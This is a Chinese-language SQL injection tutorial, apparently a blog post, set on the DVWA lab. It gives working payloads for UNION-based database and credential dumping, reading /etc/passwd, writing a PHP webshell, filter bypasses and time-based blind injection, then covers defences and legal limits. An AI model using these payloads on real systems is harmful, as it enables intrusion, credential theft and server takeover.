1. 从零开始理解SQL注入的本质
SQL注入(SQL Injection)是Web安全领域最古老也最危险的漏洞之一。简单来说,就是攻击者通过构造特殊的输入,改变后端数据库查询语句的原始逻辑。我第一次接触这个概念是在2013年参加某次网络安全演练时,当时一个看似普通的登录框,通过输入admin'--就直接获取了系统管理员权限,这种"魔法"般的效果让我彻底震惊。
1.1 SQL注入的工作原理
想象你在网上商城搜索商品,后台执行的SQL可能是这样的:
SELECT * FROM products WHERE name LIKE '%用户输入%'如果用户输入apple' OR '1'='1,最终查询就变成了:
SELECT * FROM products WHERE name LIKE '%apple' OR '1'='1%'这个永远为真的条件会导致返回所有商品数据。我在早期做渗透测试时,曾用这个技巧绕过某电商平台的搜索限制,直接获取了全站商品列表(当然是在授权范围内测试)。
1.2 漏洞产生的根本原因
根本问题在于"字符串拼接"这种开发方式。很多新手开发者会这样写代码:
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"这种写法在2000年初的ASP/PHP时代特别普遍,现在依然能在老旧系统中见到。我审计过的一个政府网站后台,就存在这种十几年前写的危险代码。
关键教训:永远不要相信用户输入!所有输入都应该视为恶意数据来处理。
2. 手动SQL注入实战全流程
2.1 测试环境搭建
推荐使用DVWA(Damn Vulnerable Web Application)作为实验环境。我在Kali Linux上安装时遇到过几个坑:
- 确保Apache和MySQL服务已启动:
service apache2 start && service mysql start- 修改配置文件时最容易出错的是数据库连接部分:
$_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd';- 遇到"Could not connect to database"错误时,检查MySQL是否创建了相应用户:
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO 'dvwa'@'localhost';2.2 基础注入手法
2.2.1 判断注入点
在搜索框输入单引号',如果返回数据库错误(如MySQL的1064错误),基本确认存在注入漏洞。上周我测试某CMS系统时,就通过这个简单方法发现了3处注入点。
2.2.2 确定字段数
使用ORDER BY子句逐步测试:
' ORDER BY 1-- ' ORDER BY 2-- ...当数字超过实际字段数时页面会报错。我常用的技巧是从5开始二分查找,能快速定位。
2.2.3 联合查询获取数据
假设字段数是3,构造:
' UNION SELECT 1,2,3--观察哪些数字会显示在页面上(通常是2和3),这些位置就可以用来提取数据。
2.3 高级信息收集技术
2.3.1 获取数据库版本
' UNION SELECT 1,@@version,3--不同数据库语法不同:
- MySQL:
@@version - SQL Server:
@@version - Oracle:
SELECT banner FROM v$version
2.3.2 列出所有数据库
在MySQL中:
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--2.3.3 提取表结构
获取某数据库的所有表:
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='dvwa'--获取某表的所有列:
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--3. 手动脱库的实战技巧
3.1 用户凭证提取
从users表提取用户名密码:
' UNION SELECT 1,concat(user,' : ',password),3 FROM users--如果密码是MD5哈希,可以尝试在线破解。我常用的技巧是优先破解简单密码,成功率惊人。
3.2 文件系统操作
3.2.1 读取服务器文件
MySQL的LOAD_FILE()函数:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--注意:需要数据库用户有FILE权限,且secure_file_priv参数未限制
3.2.2 写入Webshell
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--这个操作成功率取决于很多因素,我在实战中更倾向于找上传功能结合使用。
3.3 绕过防御措施
3.3.1 过滤空格
用注释符/**/或括号代替:
'/**/UNION/**/SELECT(1),(user()),(3)--3.3.2 过滤关键词
大小写混用、双重编码:
' UniOn SeLeCt 1,2,3-- '%55%4E%49%4F%4E%20%53%45%4C%45%43%54%201,2,3--3.3.3 盲注技术
当没有明显回显时,使用基于时间的盲注:
' AND IF(SUBSTRING(user(),1,1)='r',SLEEP(5),0)--4. 常见踩坑与防御方案
4.1 新手常犯的错误
忽略字符编码:有次测试时,我的单引号被转义了,后来发现是GBK编码导致的宽字节注入,使用
%df'成功绕过。误判注入类型:把数字型注入当成字符型处理,浪费大量时间。简单判断方法:
- 数字型:
id=1'报错,id=1'--正常 - 字符型:两者都报错
- 数字型:
过度依赖工具:SQLmap虽然强大,但遇到非常规WAF时,手动调整payload往往更有效。
4.2 企业级防御方案
- 参数化查询(最佳实践):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))最小权限原则:数据库用户只赋予必要权限,禁止FILE、PROCESS等敏感权限。
Web应用防火墙:配置规则拦截常见注入模式,但要注意误杀正常请求。
定期安全扫描:使用SQLMap等工具进行自动化检测,我建议至少每季度一次全面扫描。
5. 法律与道德边界
在真实环境中测试SQL注入前,必须获得书面授权。去年某公司员工因未经授权测试公司系统被判刑的案例值得警惕。我个人的原则是:
- 只在授权范围内测试
- 发现漏洞后立即报告,不进一步利用
- 测试数据使用虚拟数据,不查看真实用户信息
安全研究是把双刃剑,技术本身没有善恶,关键在于使用者的选择。我见过太多有天分的年轻人因为一时好奇越过法律红线,毁掉了大好前程。